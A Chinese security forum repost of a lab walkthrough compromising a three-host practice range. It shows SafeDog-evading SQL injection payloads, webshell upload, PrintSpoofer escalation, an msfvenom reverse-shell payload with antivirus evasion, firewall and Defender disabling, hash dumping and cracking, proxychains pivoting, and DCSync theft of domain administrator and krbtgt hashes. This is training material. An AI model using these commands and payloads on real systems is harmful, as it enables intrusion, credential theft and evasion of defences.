安全矩阵

 找回密码
 立即注册
搜索
查看: 2763|回复: 0

实战|项目七Attack靶场渗透测试

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-9-10 18:21:50 | 显示全部楼层 |阅读模式
实战|项目七Attack靶场渗透测试 (qq.com)
实战|项目七Attack靶场渗透测试原创 bradypoder HACK学习君 HACK学习君
微信号 XHacker1961
功能介绍 HACK学习,专注于网络安全攻防与黑客精神,分享技术干货,代码审计,安全工具开发,实战渗透,漏洞挖掘,网络安全资源分享,为广大网络安全爱好者和从业人员提供一个交流学习分享的平台
今天
收录于话题
#渗透测试 ,2
#靶机渗透 ,1
环境配置

本机ip:192.168.2.161
web
自带iis安全狗、服务器安全狗、windows defender
外网ip:192.168.2.114(桥接)
内网ip:10.10.1.131(VMnet18)
oa
自带360全家桶
内网ip1:10.10.1.130(VMnet18)
内网ip2:10.10.10.166(VMnet19)
dc
内网ip:10.10.10.165(VMnet19)
web机器和本机不能够ping通,但是本机能够访问web机器服务,因为防火墙原因阻断,这里为正常情况



oa系统处能ping通dc,ping不通web,同样为防火墙阻断,正常情况

从web机器访问一下oa系统可以访问

masscan namp扫描带防火墙的主机用arp探测工具netdiscover先扫描192.168.2.0段

masscan -p 1-65535192.168.2.114–-rate=100//--rate参数为线程


进行host域名绑定

访问后传参进去可以看到有安全狗

nmap对对应端口进行扫描


编写目录扫描工具绕过防火墙CC拦截看下web机器上的安全狗的防护日志

打开护卫神的web防火墙(抗CC)功能

我这里用御剑去扫描后台发现扫描不到

回到web容器上发现已经被拦截


编写dir_safedog.py脚本

完整代码如下:
  1. #conding:utf-8
  2. import requests
  3. import time
  4. import sys
  5. with open('word.txt','r',encoding='utf-8') as readfile:
  6. for dirs in readfile.readlines():
  7.       url = 'http://www.moonlab.com'+ dirs.strip('\n')
  8.       resp = requests.get(url)
  9.       strlen = len(resp.text)
  10. print(url + '---'+ str(resp.status_code) + '---len---'+ str(strlen))
  11.       time.sleep(0.5)
  12. if resp.status_code == 200or resp.status_code == 403or resp.status_code == 500:
  13. with open('write.txt','a',encoding='utf-8') as writefile:
  14.              writefile.write(url + '---'+ str(resp.status_code) + '---len---'+ str(strlen) + '\n')
复制代码




找到登录入口

修改siteserver poc得到注入点寻找对应版本的exp
https://github.com/w-digital-sca ... /plugins/siteserver

这里对应版本为2739.py

对原始代码进行修改

运行siteserver.py,得到如下payload可以利用

复制payload得出数据库版本
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

绕过iis安全狗进行注入直接报数据库名拦截
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name()=2;%20--

这里用到C语言的一个~符号,按位取反按位取反“~”:按位取反1变0,0变1~按位取反5二进制00000101,取反11111010,代表-6使用按位取反即可绕过
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name()=~2;%20--

本地搭建siteserver并连接sql server数据库

找到Administrator选择显示前1000行

这里的sql语句应该为
SELECT TOP 1000[UserName],[Password],[PasswordFormat],[PasswordSalt],[CreationDate],[LastActivityDate],[LastModuleID],[CountOfLogin],[CreatorUserName],[IsChecked],[IsLockedOut],[PublishmentSystemID],[DepartmentID],[AreaID],[DisplayName],[Question],[Answer],[Email],[Mobile],[Theme],[Language] FROM bairong_Administrator;
直接使用sql语句被拦截
http://www.moonlab.com/usercente ... eCollection=test%27)%20and%20db_name(select%20top%201%20username%20from%20bairong_Administrator)=~2;%20--

这里加上中括号也被拦截
http://www.moonlab.com/usercente ... eCollection=test%27)%20and (select top 1 username from [bairong_Administrator])=~1;%20--

把~1换位不拦截出现username:admin
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 username from [bairong_Administrator]);%20--

爆password:64Cic1ERUP9n2OzxuKl9Tw==
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 password from [bairong_Administrator]);%20--

爆加密类型:Encrypted
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 PasswordFormat from [bairong_Administrator]);%20--

爆盐值:LIywB/zHFDTuEA1LU53Opg==
http://www.moonlab.com/usercente ... eCollection=test%27)%20and ~1=(select top 1 PasswordSalt from [bairong_Administrator]);%20--

密码找回漏洞和网站后台getshell这里在百度后发现siteserver有一个密码找回的漏洞,这里直接来到找回密码的地方

设置找回密码的用户名为admin

密保问题处抓包并置空

Forward把包放过去即可得到密码

登入后台到站点模板管理

先上一个收藏的asp大马,然后被拦了


然后上了一个过墙马,过是过了但是没有回显,马还在返回不到数据


最终拿的冰蝎aspx大马成功getshell


Windows Server2016提权**信息搜集 **
双网卡user权限
防护:安全狗、IIS安全狗、windows defender


利用PrintSpoofer提权
https://github.com/itm4n/PrintSpoofer

执行命令即可提权到system
PrintSpoofer64.exe -i -c "whoami"

msf shellcode 绕过windows defendermsf生成payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.161 LPORT=2333-e x86/shikata_ga_nai -i 15-f csharp -o payload.txt

掩日shellcode加密下载:
https://github.com/1y0n/AV_Evasion_Tool/releases/tag/2.1


免杀处理之后上360发现已经不免杀了

这里我换了一个cs的免杀马成功上线到cs

新建一个监听派生给msf

hashcat破解web服务器hashgetuid和sysinfo看一下基本情况

这里看到meterpreter为x86,需要进行进程迁移,ps看一下

我这里迁移到一个x64的系统进程里

hashdump抓一下hash

load mimikatz,这里之前msf5的时候还有kerberos这个命令,现在变了,help看一下

hashcat配合rockyou.txt字典破解hash
rockyou.txt下载地址:https://github.com/brannondorsey ... ad/data/rockyou.txt
hashcat -a 0-m 1000 hash.txt rockyou.txt

爆破出密码得到!@#QWE123

跨网段横向渗透主机发现拿到抓到的hash登录远程桌面

手动关掉windows defender

进行本机信息搜集
msf下ifconfig发现为双网卡

arp查看arp缓存

利用icmp协议探测内网存活主机
for/l %i in(1,1,255) do@ ping 10.1.1.%i -w 1-n 1| find /i "ttl="
这里不知道为什么没有探测到,换一个协议探测一下

利用arp协议进行扫描
run arp_scanner -r 10.10.1.0/24
设置代理nmap对跨网段主机端口扫描使用socks4a模块

配置proxychains.conf

添加10.10.1.0/24的路由
  1. run autoroute -s 10.10.1.0/24
  2. run autoroute -p
复制代码



用proxychain扫描一下10.10.1.0段主机的80端口
proxychains nmap -sT -Pn10.10.1.130-p 80

用firefox访问80端口
proxychains firefox http://10.10.1.130

proxychains配合nmap对常用端口进行扫描
proxychains nmap -sT -Pn10.10.1.130-p 80,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389--open
这里可以看到许多端口开放但是都显示timeout,只有一个80端口能够访问到,可以判断内网主机开了防火墙

通达oa上传漏洞getshell使用tongda_shell.py,下载地址如下:https://github.com/Al1ex/TongDa-RCE
proxychains python3 tongda_shell.py http://10.10.1.130/

访问一下能够访问到

在蚁剑上设置代理

添加php测试连接成功

进入文件查看

对通达oa服务器进行信息搜集上传shell后执行不了命令,尝试将命令执行的回显写入txt进行尝试,这里可以用ipconfig > cmd.txt命令查看

这里我为了方便上传一个php大马上去执行命令

火狐访问下

进入大马进行信息搜集
首先whoami查看权限,system权限

首先看到DNS服务器为attack.local初步判断有内网,后面看到了双网卡存在


查看一下开放的端口,跟之前nmap扫描的情况大致相同

tasklist /svc对比下杀软情况发现有360全家桶

关闭oa系统自带防火墙这里我在没有关闭firewall之前用nmap连接445端口是连接不到的

命令行关闭windows firewall
netsh advfirewall set allprofiles state off

关闭之后即可连接到445端口

msf正向木马获得session首先msf生成一个正向连接exe
msfvenom -p windows/meterpreter/bind_tcp LPORT=6666-f exe > abc.exe

msf开启监听

上传文件到oa系统

运行即可成功弹回session

收集内网域的信息ifconfig可以看到是双网卡

migrate进行进程迁移后使用hashdump抓取hash

尝试使用mimikatz的msv命令获取明文,这里可以看到明文没有抓出来


​​net time定位域控

nltest /domain_trusts定位域

net user /domain查看域内用户

net group /domain查看域内用户组

net localgroup administrators /domain查看登陆过主机的管理员

net group "domain controllers" /domain查看域控制器

运用msf内置模块定位域控
run post/windows/gather/enum_domain

查看登录的用户
run post/windows/gather/enum_logged_on_users

或者shell直接进入目录下查看

查看组信息
run post/windows/gather/enum_ad_groups

查看域的token
run post/windows/gather/enum_domain_tokens

跨网段使用proxychains配合nmap对域控进行端口扫描这里ps寻找一个域管的进程,我这里选择的是2568,然后使用steal_token 2568提升为域管权限

然后就可以拿到一个域管的shell进程

这里我先exit退出一下用nmap对域控进行端口扫描
rev2self清除当前权限,然后用run autoroute -s 10.10.10.0/24添加一个路由表

使用proxychains配合nmap进行扫描,这里我扫描88、389都能够连接成功说明为域控

继续扫描一些常用端口
proxychains nmap -sT -Pn10.10.10.165-p 80,88,89,8000,9090,1433,1521,3306,5432,445,135,443,873,5984,6379,7001,7002,9200,9300,12111,27017,27018,50000,50070,50030,21,22,23,2601,3389--open
这里看到开放了88、135、445、3389端口

利用kiwi dcsync_ntlm获取域管理员hash先加载mimikatz、kiwi,这里需要用到dcsync_ntlm模块,这里没有迁移到域管进程,所以失败

steal_token 3196迁移到域管进程,然后执行dcsync_ntlm administrator获取域管hash

执行dcsync_ntlm krbtgt获取krbtgt用户hash

因为开了445端口所以考虑使用exploit/windows/smb/psexec进行hash传递

这里尝试了下直接用psexec传递不过去

利用sockscap64设置代理登录域控这里直接拿hash到cmd5官网进行解密得到密码为!@#QWEasd123.
先使用proxychain看登录得上去不
proxychain rdesktop 10.10.10.165

这里报错是因为只有windows能够登录远程桌面

这里代理设置为socks4a连接域控

mstsc连接即可


dir当前目录,type flag.txt即可拿到flag



靶机下载地址:

链接:https://pan.baidu.com/s/1ZAgV6-f8iHzWqQc3Iyft_g

提取码:atx5










回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 15:54 , Processed in 0.022438 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表